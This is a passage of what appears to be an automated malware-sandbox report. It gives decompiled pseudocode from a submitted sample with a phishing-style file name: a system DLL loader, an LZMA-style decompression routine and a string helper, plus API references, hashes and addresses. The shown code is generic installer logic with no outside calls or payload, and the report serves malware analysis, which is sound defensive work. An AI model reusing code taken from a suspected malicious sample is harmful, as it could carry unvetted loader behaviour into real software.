Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

('B, xrefs: 004056EB

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: ('B
API String ID: 1495540970-2332581011
Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68

Uniqueness

Uniqueness Score: -1.00%

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004069C5(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004069dc
0x004069e5
0x004069e7
0x004069e7
0x004069eb
0x004069fe
0x004069f8
0x004069f8
0x004069f8
0x00406a17
0x00406a2b
0x00406a32

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
wsprintfW.USER32 ref: 00406A17
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Strings

%s%S.dll, xrefs: 00406A11
\, xrefs: 004069ED
UXTHEME, xrefs: 004069CE

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406BB0 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406BB0(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00407602))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406bc0
0x00406bc7
0x00406bcd
0x00406bd3
0x00000000
0x00406bd7
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bf9
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c0e
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c59
0x00406c5c
0x00406c84
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c5e
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c76
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
